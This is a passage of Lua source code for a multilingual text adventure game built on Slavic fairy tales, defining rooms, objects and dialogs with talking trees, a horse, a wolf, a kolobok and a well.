if ru then p 'Орудие казни... Гены предыдущих поколений козликов отозвались в тебе глубинным, животным ужасом, при виде этого предмета.' end
if en then p 'The instrument of execution... The genes of previous generations of goats echoed in you with deep, animal horror at the sight of this object.' end
if ua then p 'Знаряддя страти... Гени попередніх поколінь козликів відгукнулися в тобі глибинним, тваринам жахом, при погляді на цей предмет.' end
elseif not removetopor then
if ru then p 'Неплохой топор, старинного образца. Откуда он здесь?' end
if en then p 'Nice axe, old-fashioned. Where is it from?' end
if ua then p 'Непогана сокира, стародавнього зразка. Звідки вона тут?' end
end
if removetopor then
if ru then p'Ты выбросил топор. Хорошая вещь, но добраться до деревни важнее...' end
if en then p'You threw the ax away. Good thing, but getting to the village is more important...' end
if ua then p'Ти викинув сокиру. Хороша річ, але дістатися до селища важливіше...' end
remove('topor') walk('longroad22') end;
end;
}
obj {
nam = 'treesobj';
act = function()
if not sobralapples and not izrubilappletrees then p [[Ты внимательно посмотрел на деревья. Они во всём похожи на обычные, только с носами, глазами и ртами. Деревья смотрят на тебя в ответ дружелюбно, но, кажется, что-то их гнетет. ]] elseif sobralapples and not izrubilappletrees then p [[Ты внимательно посмотрел на деревья. Они во всём похожи на обычные, только с носами, глазами и ртами. Деревья смотрят на тебя в ответ дружелюбно и с благодарностью. ]] end
if izrubilappletrees then p [[Деревья смотрят на тебя со злобой, обидой и отчаянием. Они не ожидали такого обращения! За что?!]] end
end;
used = function (n, z)
if z^'fonarik' then p [[Зачем светить посреди белого дня на деревья?]] end;
if z^'lestninv' and not izrubilappletrees then p [[Ты поставил лестницу к одному из деревьев. Теперь можно собирать яблоки.]] lestnicastand = true remove('lestninv') wr = wr+1; test(); end;
if z^'lestninv' and izrubilappletrees then p [[Ты попробовал поставить лестницу к одному из деревьев. Изрубленные ветви с треском обломались и ты полетел вниз... Потирая ушибы и ссадины, ты начал медленно понимать, что насильно мил не будешь... Лучше оставить это и идти дальше...]] end;
if z^'topor' and sobralapples then p [[Ты можешь просто пройти. Не надо поступать по-свински. Деревья надо беречь, они дарят тебе воздух. Почему приходится объяснять элементарное?]] end;
if z^'topor' and lestnicastand and not sobralapples then p [[До сих пор не можешь определиться, помочь ли деревьям, или изрубить их? Будь последовательнее... Начал одно - так сделай до конца.]] end;
if z^'topor' and izrubitapple and not lestnicastand then p [[Надо ли творить подобный ужас? Повтори, если уверен в своих действиях...]] izrubitapple = false return end;
if z^'topor' and not izrubitapple and not lestnicastand and izrubilappletrees then p [[Остановись!]] end
if z^'topor' and not izrubitapple and not lestnicastand and not izrubilappletrees then p [[Ты безжалостно изрубил деревья. Они плачут горькими слезами и смотрят на тебя с укором. Что же ты наделал!]] izrubilappletrees = true end
end;
}
obj {
nam = 'poison_apple';
disp = fmt.img('gfx/inv/one_apple_poison.png')..'Яблоко';
inv = function()
place 'eatpleasepoison';
pleaseeatpoison = true;
end;
}
obj {
nam = 'eatpleasepoison';
dsc = function()
if pleaseeatpoison and not triedtoeat then p 'Странное яблоко. Добытое зверским способом... Ты можешь его {съесть}, если не боишься и совесть не мучает.' pleaseeatpoison = false
elseif pleaseeatpoison and triedtoeat then p 'Странное яблоко. Добытое зверским способом...' pleaseeatpoison = false end
end;
act = function(s)
p [[Ты съел яблоко...]]
remove(s);
triedtoeat = true;
walk ('youdead')
end
}
room {
nam = 'youdead';
noinv = true;
title = 'Кирдык!';
pic = 'gfx/42.png';
enter = function(s)
bg_name = 'gfx/bg_death.png' theme.gfx.bg (bg_name)
deletebutton();
timer:set(death_time);
createredbar();
end;
timer = function(s)
timer:stop();
deleteredbar();
theme.gfx.bg (bg_name)
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
obj = {'death'};
decor = [[Ты умер!]];
}: with {
obj {
dsc = function()
p ( fmt.c('{@ walkout|Переиграть?}') );
-- [[{Переиграть?}]];
end;
act = function()
-- snapshots:restore()
walk ()
end;
}
}
obj { -- если в списке объектов находим смерть, то не показывать статус
nam = 'death';
}
obj {
nam = 'walktobridge';
act = function()
if cantdothat and onceopened and not izrubilappletrees then p [[Ты не можешь пройти, пока не поможешь деревьям.]] end
if cantdothat and not onceopened and not belkaishere then walk 'talkwithtrees2' end
if cantdothat and not onceopened and belkaishere and not izrubilappletrees then p[[Ты не можешь пройти, пока не поможешь деревьям. Может, лучше поговорить с белкой?]] end
if propustili and not izrubilappletrees and not cantdothat then walk 'bridge' elseif not propustili and not izrubilappletrees and not cantdothat then walk 'talkwithtrees' end
if izrubilappletrees then walk 'bridge' end
end;
}
obj {
nam = 'youcantalk';
act = function()
if cantdothat and onceopened and not izrubilappletrees then p [[Ты уже знаешь, что делать.]] end
if cantdothat and not onceopened and not belkaishere and not izrubilappletrees then walk 'talkwithtrees2' end
if cantdothat and not onceopened and belkaishere then p[[Может, лучше поговорить с белкой?]] end
if sobralapples and not izrubilappletrees and not cantdothat then p[[Деревья довольны и счастливы, созрецательно смотрят в небо, их головы кружатся от легкости. Им не до тебя.]] elseif not sobralapples and not izrubilappletrees and not cantdothat then walk 'talkwithtrees' end
if izrubilappletrees then p [[Деревья не желают говорить с тобой. Ты им отвратителен.]] end
end;
}
obj {
nam = 'sobratapples';
act = function()
if izrubilappletrees then p [[Поздно. Не видать теперь тебе яблочек. И чем ты думал?!]] end;
if not lestnicastand and not izrubilappletrees then p [[Ты попытался достать до деревьев, но они слишком высокие. Надо придумать способ добраться до ветвей.]] cantdothat = true end;
if lestnicastand and not izrubilappletrees then
sobralapples = true cantdothat = false p [[Тебе пришлось хорошенько потрудиться, чтобы достать до каждого яблока. Спустя час всё было готово.]] wr = wr+1; test(); end;
end;
}
dlg {
nam = 'talkwithtrees2'; -- после того, как попробовал достать яблоки, переходим на этот диалог
pic = 'gfx/12withapples.png';
noinv = true;
title = 'Говорящие деревья';
enter = function()
if not izrubilappletrees then p [[-- Ты уже собрал яблоки? Помоги нам!]] end
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function(s, t)
createbutton();
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
clickmute = true;
if aftertalkwithtrees and belkaishere then snd.play ('snd/whistle.ogg', 1); end;
if aftertalkwithtrees and belkaishere then snd.play('snd/SQ2.ogg', 2) end;
end;
phr = { -- Начало фразы
{'Я бы и рад, но не могу! Не достаю до ваших ветвей! Подскажите же, что мне делать?', '-- Эм... Хм... Уу... Так! У нас есть подруга, которая может помочь.',
{ function() if touchedkey then p 'Подруга?' else p 'Подруга? Разве у деревьев бывают друзья?' end end , function() if touchedkey then p '-- Да. Вы уже виделись. Хе-хе.' else p 'Даже больше. У нас есть душа.' end end,
{ function() if touchedkey then p 'Кто? Когда?' else p 'Не знал...' end end, function() p[[Деревья издали свист, от которого у тебя почти начали лопать перепонки... И на этот свист явилась.... белка!]] belkaishere = true soglasen = true end }
}
}
} -- Конец фразы
}
dlg {
nam = 'talkwithtrees';
pic = function()
if not sobralapples then return 'gfx/12withapples.png' else return 'gfx/12withlestn_withoutappl.png' end end;
noinv = true;
title = 'Говорящие деревья';
enter = function()
deletebutton();
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) firstintrees = false
if not sobralapples then p[[Ты собрался было ступить вперед, как деревья своими ветвями перегородили дорогу. ^^-- Куда путь держишь, странник?]] end;
if sobralapples then p [[-- Проходи. За то, что ты сделал, мы дарим тебе все свои плоды. Бери столько, сколько сможешь унести. Между прочим, яблочки наши не простые, а с секретом. Но тебе его знать рано ;)]] take 'apples' end;
end;
exit = function(s, t)
createbutton();
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
clickmute = true;
if not soglasen and t^'trees' then snd.play ('snd/trees_sigh.ogg', 1); end;
if soglasen and t^'trees' then snd.play ('snd/trees_sigh_happy.ogg', 1) end;
-- p (here());
-- p (t);
end;
phr = { -- начало фразы
{function() if not sobralapples then p [[Пропустите меня, славные сказочные деревья! У меня важная миссия. Я мир спасаю. Да и просто надо выбраться отсюда!]] else p [[{@ walk bridge|Спасибо!}]] end end ,'-- Извини, но мы не можем тебя пропустить. Хочешь пройти -- помоги нам!',
{'Чем же я могу помочь-то?','-- Оборви нас! Мы стоим здесь, на пути, очень давно, и никто не приходил, не срывал с нас яблоки. Очень трудно стоять, когда твои ветви ломятся от плодов, и ты ничего не можешь сделать... Яблочки наши сочные, вкусные, а ты, наверное, голоден.',
{'Да, просто умираю от истощения!','-- Поможешь нам?',
only = true;
{'Как-нибудь в другой раз.', function() p '-- *синхронно* Эх.' aftertalkwithtrees = true soglasen = false end },
{'Да, конечно!', function() p '-- Сделай это, пожалуйста! И проход твой.' aftertalkwithtrees=true soglasen = true end }
},
},
} -- закрывает оч прошу
} -- конец фразы
}
room {
nam = 'houseoutside';
title = 'За хижиной';
pic = function()
if lestntaken then return 'gfx/21.png' else return 'gfx/20.png' end;
end;
decor = function()
p [[Светло-снежная, задняя стена дома резко контрастирует с буйной растительностью этого места. Ты начинаешь ощущать, что ты и правда в сказке. Правда сказка эта с горчинкой...]] if not lestntaken then p 'К стене хижины прислонена {lestn|лестница}.' end
end;
way = { path{'К деревьям', 'trees'} };
enter = function()
if not wow then p 'Ух ты! Это же лестница!' wow = true end;
if not uvideltopor then place('топор', 'houseoutside') end;
end;
obj = {'lestn'};
}
obj {
nam = 'lestn';
act = function()
lestntaken = true;
take 'lestninv';
p [[Ты схватил лестницу двумя руками. Тяжелая!]]; wr = wr+1; test();
end;
}
obj {
nam = 'lestninv';
disp = fmt.img('gfx/inv/lestnica.png')..'Лестница';
inv = [[Лестница.]];
}
obj {
nam = 'vorona';
disp = fmt.img('gfx/inv/vorona.png')..'Ворона';
act = function()
p [[Взял ворону ты за хвост...]] take 'vorona' voronawasininv = true
end;
inv = [[Что делать с вороной? - вот в чем вопрос. Она уже не жилец...]];
}
obj {
nam = 'river';
act = [[Обычная река. Но тебя она наталкивает на философские мысли о бренности бытия и быстротечности времени.]];
used = function (n, z)
if z^'vorona' then
p [[Ты выбросил мёртвую ворону в реку.]] remove ('vorona') voronainriver = true snd.play('snd/awaterplouffff.ogg', 1) return end
return false;
end;
}
obj {
nam = 'onmost';
act = [[Возьми ворону.]];
used = function (n, z)
if z^'vorona' then
p [[Положил на мост, пусть ворона сохнет.]] voronaonmost = true drop('vorona', 'bridge') return
end
return false;
end;
}
obj {
nam = 'podmost';
act = [[Возьми ворону.]];
used = function (n, z)
if z^'vorona' then
p [[Положил под мост, пусть ворона мокнет.]] voronaonmost = false drop('vorona', 'bridge') return
end
return false;
end;
}
obj {
nam = 'kto';
act = [[Интересно, кто его построил?]];
used = function (n, z)
if z^'vorona' then
p [[Положил на мост, пусть ворона сохнет.]] voronaonmost = true drop('vorona', 'bridge') return
end
return false;
end;
}
obj { nam = 'takreka'; act = [[Под мостом также река.]]; }
obj {
nam = 'apples';
disp = fmt.img('gfx/inv/apples.png')..'Яблоки';
inv = function()
place 'eatplease';
pleaseeat = true;
end;
}
obj {
nam = 'eatplease';
dsc = function()
if pleaseeat and not updatescene then p 'Вкусные, сочные яблоки. Может, {съесть} их? Или, может, лучше подождать? Ты вспомнил слова деревьев, о том, что яблоки с секретом... Что они сделают с тобой на этот раз?' pleaseeat = false end
if pleaseeat and updatescene then p 'Вкусные, сочные яблоки. Тебе не терпится {съесть} их.' pleaseeat = false end
end;
act = function(s)
p [[Ты с аппетитом съел яблоки, пока, наконец, чувство голода не прошло. У тебя осталось только одно яблоко.]]
remove(s);
replace('apples', 'one_apple');
eatenapples = true;
if updatescene then walk('longroad6') end; -- это надо для того, чтобы включить переход дальше после того, как съел яблоки
-- replace ('apples', 'one_apple');
end
}
obj {
nam = 'one_apple';
disp = fmt.img('gfx/inv/one_apple.png')..'Яблоко';
inv = function()
if not updatescene2 then p [[Оставил на будущее.]] end;
if updatescene2 then p[[Ты съел последнее своё яблоко... Это почти никак тебя не насытило.]] remove('one_apple') walk('longroad13') end; -- это надо для того, чтобы включить переход дальше после того, как съел яблоко
end;
}
room {
nam = 'threeways';
disp = 'Три дороги';
pic = 'gfx/13.png';
decor = [[Три пути. И {tostone|камень} перед ними. Рядом с тобой стоит {horse|конь}! ]];
obj = {'tostone', 'horse', 'enableleft', 'enablecenter', 'enableright'};
way = { path {'#enableleft', 'Налево', 'leftroom'}:disable(), path {'#enablecenter', 'Прямо', 'centerroom'}:disable(), path {'#enableright', 'Направо', 'rightroom'}:disable(), path{'#openbridge', 'К вороне', 'bridge'}:enable() };
enter = function()
snd.music 'mus/TheVoyage.ogg'
if stoneseen and talkedwithhorse then enable('#enableleft') end
if stoneseen and talkedwithhorse then enable('#enablecenter') end
if stoneseen and talkedwithhorse then enable('#enableright') end
if voronainriver then disable('#openbridge') end
if have 'fonarik' then p [[Проходя через мост, ты уронил фонарик... Он выпал из кармана прямо в реку. Какая досада!]]; remove('fonarik'); snd.play('snd/awaterplouffff.ogg', 1) end
end
}
obj { nam = 'enableleft' };
obj { nam = 'enablecenter' };
obj { nam = 'enableright' };
obj {
nam = 'tostone';
act = function()
walkin ('instone')
end;
}
obj {
nam = 'openbridge';
};
obj {
nam = 'horse';
act = function()
clickmute = true;
snd.play('snd/horse.ogg', 1)
p [[Конь появился здесь, как только ты переступил через мост. Он молча смотрит на тебя, иногда пощипывая травку.]]; if not talkedwithhorse then p [[{tohorse|Подойти} к нему?]] else p [[Конь ждёт твоего решения. Видно, что он взволнован.]] end;
end;
}:with {'tohorse'}
obj {
nam = 'tohorse';
act = function()
walkin ('talkwithhorse')
end;
}
dlg {
nam = 'talkwithhorse';
pic = 'gfx/17.png';
noinv = true;
title = false;
enter = function()
talkedwithhorse = true;
wr = wr + 1;
p [[Конь посмотрел на тебя, и... заговорил:^ -- Вот мы и встретились.]]
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Ты умеешь говорить?', '-- Да, как и все сказочные животные.',
{'И ты пришел сюда...', '-- Потому, что мне велели. Это закон, и я должен подчиниться. Обычно путники сюда являются на своих конях, но ты же у нас избранный... Дрянная эпоха!',
only = true;
{'Извини... Мне правда жаль. Меня тоже перенесли из уютной постели в это место... Думаешь, мне сладко? Давай уж как-то выбираться вместе.', function() p'-- Ладно. Так уж и быть. Буду твоим конем, вольно или невольно, какая теперь разница... Но побереги меня. Пригожусь еще тебе, будь уверен!' walk('threeways') end },
{'Мне всё равно. Я должен продолжать путь. Тебе придется, в таком случае, подчиниться. Не дави на жалость.', function() p'-- Зря ты так. Потом же зачтется всё... Подумай хорошо, прежде чем что-то предпринимать. Да и меня побереги - пригожусь...' walk('threeways') end }
}
}
} -- конец фразы
}
room {
nam = 'instone';
noinv = true;
disp = 'Возле камня';
pic = 'gfx/13_2.png';
enter = function()
deletebutton();
bg_name = 'gfx/bg_good.png' theme.gfx.bg (bg_name)
if not stoneseen then wr = wr+1; end;
stoneseen = true;
nearstone = true;
end;
decor = fmt.c('^На древнем камне выбито: ^^ Налево пойдёшь – себя потеряешь, коня спасёшь.^ Направо пойдёшь – коня потеряешь, себя спасёшь.^ Прямо пойдёшь – и себя, и коня потеряешь.');
exit = function()
nearstone = false;
createbutton();
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
end;
way = { path{'Отойти от камня', 'threeways'} };
}
room {
nam = 'kozel';
pic = 'gfx/14.png';
disp = 'А тебя предупреждали!';
decor = function()
p [[Теперь ты козленочек! =) Мааалеенький. ]]
if waycounter > 3 then p [[Таак. И что же теперь делать?]] end
if waycounter > 5 then p [[Это сказочный мир, верно?]] end
if waycounter > 7 then p [[Как у нас дела в сказках решаются?]] end
if waycounter > 9 then p [[Сказочными же методами.]] end
if waycounter > 11 then p [["А козленочек три раза..."]] end
if waycounter > 13 then p [["Перекинулся через голову..."]] end
if waycounter > 15 then p [["И обернулся назад человеком!"]] end
if waycounter > 17 then p [[Вот, в чем секрет!]] end
if waycounter > 19 then p [[Итак. {onering|Один}.]] end
if twopress then p [[{tworing|Два}.]] end
if threepress then p [[{threering|Три}!]] end
end;
enter = function()
snd.music 'mus/ChasinIt.ogg'
isusercozel = true;
waycounter = 0;
onepress = false;
twopress = false;
threepress = false;
twocheck = false;
remove('vedrofull');
take('vedro');
if from() ~= 'info_room' and from() ~= 'control_room' then fromwhere = from(); end; -- чтобы не вовзращаться в технические комнаты
end;
exit = function()
if inroom ( me() ) == 'inhouse' then snd.music 'mus/HouseOfEvil.ogg' else snd.music 'mus/Atlantis.ogg' end
isusercozel = false;
if twopress and threepress then clickmute = true; snd.play('snd/roundkozel.ogg', 1) end;
end;
obj = {'onering', 'tworing', 'threering'};
}
obj {
nam = 'onering';
act = function()
twopress = true
if not onepress then p [[Ты перевернулся через голову. Это непривычно. Зато подумай - никто из людей не переживал подобное. Хотя козлов много)]] clickmute = true; snd.play('snd/roundkozel.ogg', 1) onepress = true end
end;
}
obj {
nam = 'tworing';
act = function()
if twopress then threepress = true end
if not twocheck and twopress then p [[Ты второй раз сделал кувырок и опустился на свои четыре. Ухх!]] clickmute = true; snd.play('snd/roundkozel.ogg', 1) twocheck = true end
end;
}
obj {
nam = 'threering';
act = function()
if twopress and threepress then p [[Ура! Ты снова человек. Что это вообще было? Странная водичка. Лучше не пить больше из водоемов, от греха подальше.]] vedrowithwater = false walk ( fromwhere ) end
end;
}
room {
nam = 'leftroom';
title = 'Левый поворот';
way = { path{'К перекрестку','threeways'} };
}
room {
nam = 'centerroom';
title = 'Центр';
way = { path{'К перекрестку','threeways'} };
}
room {
nam = 'rightroom';
title = 'Правый поворот';
onenter = function (s, f)
if f^'threeways' then
p 'Конь: ^ -- Ты всё-таки решил пойти направо?! Но ведь я тогда погибну! Давай вместе будем сражаться со злом этих мест, я не подведу тебя! Еще не поздно остановиться! Ты можешь выбрать другой путь.'; end
end;
pic = 'gfx/16.png';
way = { path{'Дальше','rightroom1'}, path{'К перекрестку','threeways'} };
enter = function()
snd.play('snd/gallop.ogg',1);
end;
}
room {
nam = 'rightroom1';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom' then
p 'Конь: ^ -- Там кто-то есть! Мне страшно... Прошу тебя, путник, поверни назад!'; end
end;
pic = 'gfx/16_0.png';
way = { path{'Дальше','rightroom2'}, path{'Назад','rightroom'} };
enter = function()
snd.play('snd/gallop.ogg',1);
end;
}
room {
nam = 'rightroom2';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom1' then
p 'Конь: ^ -- Это, кажется, волк! Он раздерет меня на части! За что мне такая судьба... Если мы приблизимся ещё - убежать уже не получится. Прошу тебя. Пожалуйста, вернись!';
snd.play('snd/horse.ogg', 2)
end
end;
pic = 'gfx/16_1.png';
way = { path{'Дальше','rightroom3'}, path{'Назад','rightroom1'} };
enter = function()
snd.play('snd/gallop.ogg',1);
end;
}
room {
nam = 'rightroom3';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom2' then
p 'Конь: ^ -- Это точно волк! Ну всё, мне конец...';
rightwaychoosen = true;
rightchoose = rightchoose + 1;
-- inc(rightchoose);
end
end;
pic = 'gfx/16_2.png';
way = { path{'Дальше','rightroom4'} };
enter = function()
snd.play('snd/gallop.ogg',1);
snd.music 'mus/Pentagram.ogg'
end;
}
room {
nam = 'rightroom4';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom3' then
p 'Конь: ^ -- Он всё ближе...';
end
end;
pic = 'gfx/16_3.png';
way = { path{'Дальше','rightroom5'} };
enter = function()
snd.play('snd/gallop.ogg',1);
end;
}
room {
nam = 'rightroom5';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom4' then
p 'Конь: ^ -- Как ты мог?..';
end
end;
pic = 'gfx/16_4.png';
way = { path{'Дальше','rightroom6'} };
enter = function()
snd.play('snd/gallop.ogg',1);
end;
}
room {
nam = 'rightroom6';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom5' then
p 'Конь трясется от страха.';
end
end;
pic = 'gfx/16_5.png';
enter = function()
if not horseleaved then snd.play('snd/gallop.ogg',1) end
if horseleaved then enable '#nextstage' end
end;
decor = function()
p[[{towolf|Волк} смотрит прямо на тебя!]];
if afterwolf and not horseleaved then p 'Тебе остается только {leave|слезть} с коня.' end
if afterwolf and horseleaved then p 'Конь еле стоит на ногах. Бедняжка...' end
end;
way = { path {'#nextstage','Дальше...','rightroom7'}:disable() }
}:with {'towolf', 'leave', 'nextstage'}
obj {
nam = 'nextstage';
}
obj {
nam = 'leave';
act = function()
p 'Ты спрыгнул с коня. Тот с укором посмотрел тебе вслед. Этот взгляд ты не забудешь никогда...';
horseleaved = true;
rightchoose = rightchoose + 1;
walk 'rightroom6'
end
}
obj {
nam = 'towolf';
used = function (n, z)
if z^'topor' then
p [[Ты замахнулся топором на волка, но тот оказался проворнее. Он сбил тебя с ног, и топор вылетел у тебя из руки в неизвестном направлении. Скорее всего, он где-то лежит посреди леса. К сожалению, ты не в той ситуации, чтобы искать его.]] remove('topor') topornavolka = true return
end
return false;
end;
act = function()
if not afterwolf then walk ('talkwithwolf') else p [[Вам больше нечего сказать друг другу.]] end
end;
}
dlg {
nam = 'talkwithwolf';
pic = 'gfx/18.png';
noinv = true;
title = false;
enter = function()
p [[Волк посмотрел на тебя сочувственно, и... заговорил:^ -- Ну что, путник. Слезай с коня.]]
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Почему это?', '-- Ты надпись на камне читал? Читал. Какие могут быть еще вопросы? Конь - мой. А ты ступай себе с миром.',
{'Может, как-то договоримся?', '-- Нет. С этим шутки плохи. С моим чувством голода - тоже. Так что отдавай коня. Назад у тебя всё равно пути нет.',
only = true;
{'Души у тебя нет...', function() p'-- Нет. Не так. Души нет у тебя. Иначе зачем бы шел по этой дороге, если знал, что конь твой погибнет? Себя спасал? То-то же.' afterwolf = true end },
{'Ну и ладно. Как пришло - так и ушло. Главное, что жив остался.', function() p'-- С таким подходом далеко пойдешь...' afterwolf = true end }
}
}
} -- конец фразы
}
room {
nam = 'rightroom7';
title = 'Правый поворот';
onenter = function (s, f)
if f^'rightroom6' then
snd.music('mus/BeforeDawn.ogg')
snd.play('snd/goodbyehorse.ogg',1);
p 'Волк съел коня... Но это был твой выбор. Пора двигаться дальше.';
end
end;
onexit = function()
rightchoose = rightchoose + 1;
end;
pic = 'gfx/16.png';
way = { path{'Дальше','kolodets'} };
}
room {
nam = 'kolodets';
title = 'Поле';
pic = 'gfx/22.png';
onenter = function (s, f)
if f^'polewithkolobok' then
snd.music('mus/BeforeDawn.ogg');
end
end;
obj = {'tokolodets'};
decor = [[Деревья закончились. Вокруг - огромное поле... Ты видишь {tokolodets|колодец}.]];
way = { path{'Дальше', 'polewithkolobok'} };
}
obj {
nam = 'tokolodets';
act = function()
walk ('inkolodets')
end;
}
obj {
nam = 'drinkwater';
act = function()
if drinkedwaterinkolodets and not waterpoisoned then p [[Ты же лопнешь, деточка!]] end
if drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Ещё глоток этой дряни - и ты не жилец. Не стоит оно того.]] end
if drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Ты же лопнешь, деточка!]] end
if not drinkedwaterinkolodets and not waterpoisoned then p [[Наконец-то! Ты жадно выпил пол ведра воды. Ну, может меньше. Но показалось, что пол ведра.]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end
if not drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Ты закрыл нос рукой. Попытался выпить эту жуткую воду. Тебя чуть не стошнило. Но жажда оказалась сильнее чувства отвращения. И всё же не стоит больше делать подобное. Лекарств у тебя нет...]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end
if not drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Наконец-то! Ты жадно выпил пол ведра воды. Ну, может меньше. Но показалось, что пол ведра.]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end
end;
used = function(n,z)
if z^'topor' then p[[Ударим топором по глаголу?]] end
if z^'kuvshin' then p[[Кувшин пуст. Ты должен помочь старику...]] end
if z^'kuvshinwithwater' then p[[Ты набрал воды в кувшин, чтобы помочь старику...]] end
end;
}
room {
nam = 'inkolodets';
disp = 'Возле колодца';
pic = 'gfx/23.png';
decor = function()
p [[Ты видишь {kolodetsitself|колодец}, видишь {vedrowithkolodec|ведро}, которое к нему привязано. ]];
if vedrowithkolodecisfull then p [[Ты можешь {drinkwater|попить} воды из него.]] end
end;
obj = {'drinkwater', 'vedrowithkolodec', 'kolodetsitself'};
way = { path{'Отойти от колодца', 'kolodets'} };
}
obj {
nam = 'kolodetsitself';
act = function()
if not waterpoisoned then p [[Обычный колодец. Но в твоём случае он - спасение.]] end;
if waterpoisoned then p [[Обычный колодец. Только отравленный...]] end;
end;
used = function (n, z)
if z^'kuvshin' then p[[Ты не можешь достать воду кувшином, она слишком низко, хотя и в зоне видимости. Нужно использовать ведро.]] end
if z^'kuvshinwithwater' then p[[Ты вылил воду из кувшина в колодец.]] replace('kuvshinwithwater','kuvshin') end
if z^'apples' then p [[Они тебе ещё пригодятся.]]
elseif z^'poison_apple' then
p [[Ты бросил подозрительное яблоко в колодец. Из глубины ты учуял тухлый, неприятный запах... Ты отравил колодец. Но как? С содорганием ты подумал, что бы случилось, если бы ты это яблоко съел...]] remove('poison_apple'); waterpoisoned = true; end
end;
}
room {
nam = 'polewithkolobok';
disp = function()
if not eatedkolobok and not kolobokandkuvshin then p 'Колобок' else p 'Дорога' end
end;
pic = function()
if not eatedkolobok and not kolobokandkuvshin then return 'gfx/25.png' else return 'gfx/24.png' end
end;
decor = function()
if not eatedkolobok and not kolobokandkuvshin then p [[Тебе навстречу катится {tokolobok|колобок}! Самый настоящий!]] end
end;
obj = {'tokolobok', 'stageafter'};
enter = function()
if talkedwithkolobok then enable('#stageafter') end
if not eatedkolobok and not kolobokandkuvshin then snd.music('mus/TubaWaddle.ogg') end;
end;
way = { path{'К колодцу', 'kolodets'}, path{'#stageafter', 'Дальше', 'afterkolobok'}:disable() };
}
obj {
nam = 'stageafter';
}
obj {
nam = 'tokolobok';
act = function()
walk ('inkolobok')
end;
used = function()
p [[Надо подойти поближе.]];
end;
}
room {
nam = 'inkolobok';
disp = 'Возле колобка';
pic = 'gfx/26.png';
decor = [[{gotalk|Колобок} улыбается и приветливо смотрит на тебя!]];
obj = {'gotalk'};
way = { path{'Отойти от колобка', 'polewithkolobok'} };
}
dlg {
nam = 'talkwithkolobok';
disp = 'Разговор с колобком';
noinv = true;
pic = 'gfx/26.png';
enter = function(s)
deletebutton();
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
p (fmt.c ('-- Я Колобок, Колобок, я по коробу скребён, ^По сусеку метён, на сметане мешон ^Да в масле пряжон, на окошке стужон. ^Я от дедушки ушёл, я от бабушки ушёл, ^Я от зайца ушёл, я от волка ушёл, ^От медведя ушёл, от тебя, лисы, ^нехитро уйти!') )
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
{'Колобок?', '-- Лиса?',
{'Нет, я человек!','-- Нет, ты лиса, я же вижу. И ты должна меня съесть.',
{' *хм, странно* А если я этого не сделаю?', '-- Тогда я обречен вечно катиться по дорогам и петь песни разным животным, пока или меня не съест кто-нибудь, или пока я не испорчусь. Но так, как я сказочный, а мой образ - вечен - этого никогда не прозойдет... Ты представляешь себе такую жизнь? Без смысла, без цели... Нет, определенно - ешь меня.',
only = true;
{'Извини, но я не настолько голоден, чтобы подбирать и есть всякое с земли.', function() p '-- А зря...' talkedwithkolobok = true end },
{'Ладно. Тогда прощай. А что мне надо делать? Взять тебя в руки и откусить? Тебе не будет больно?', '-- Смешная ты, лиса. Открой просто рот!',
{'Хорошо.', function() p'-- Юхуу!^^ Колобок с разбегу запрыгнул к тебе в рот, он оказался вкусный, и никакого песка или пыли. Ты же в волшебном мире, забыл?) Кто бы ел несъедобное. Но тебе всё равно стало как-то грустно...' talkedwithkolobok = true eatedkolobok = true walk ('polewithkolobok') end },
},
}
}
}
} -- Конец фразы
}
obj {
nam = 'gotalk';
act = function()
walkin('talkwithkolobok');
end;
used = function(n,z)
if z^'topor' then p [[Ты без топора жить не можешь? Ну колобок-то что тебе сделал? Да и не попасть в него топором...]] end;
if z^'kuvshin' then p [[И что ты сделаешь колобку пустым кувшином?]] end
if z^'kuvshinwithwater' then p [[Ты залил колобка водой из кувшина... Он размяк и растворился.]] kolobokandkuvshin = true replace('kuvshinwithwater', 'kuvshin') walk('polewithkolobok') end
end;
}
room {
nam = 'afterkolobok';
disp = 'Дорога';
pic = 'gfx/27.png';
way = { path{'Назад', 'polewithkolobok'}, path{'Дальше', 'starik'} };
}
room {
nam = 'starik';
disp = 'Старик на пути';
pic = 'gfx/28.png';
enter = function()
snd.music('mus/Renaissance.ogg')
if not firsttalkwithstarik then enable('#unlockvillage') end
if izrubilappletrees then enable('#unlockvillage') end
if have('one_apple') then enable('#unlockvillage') end
end;
decor = [[Перед тобой стоит {tostarik|старик}.]];
obj = {'tostarik', 'unlockvillage'};
way = { path{'Назад', 'afterkolobok'}, path{'#unlockvillage','Дальше','waytovillage'}:disable() };
}
obj {
nam = 'unlockvillage';
}
obj {
nam = 'tostarik';
act = function()
walk ('instarik')
end;
used = function()
p [[Надо подойти поближе.]];
return
end;
}
room {
nam = 'instarik';
disp = 'Возле старика';
pic = 'gfx/29.png';
obj = {'talkwithstarik'};
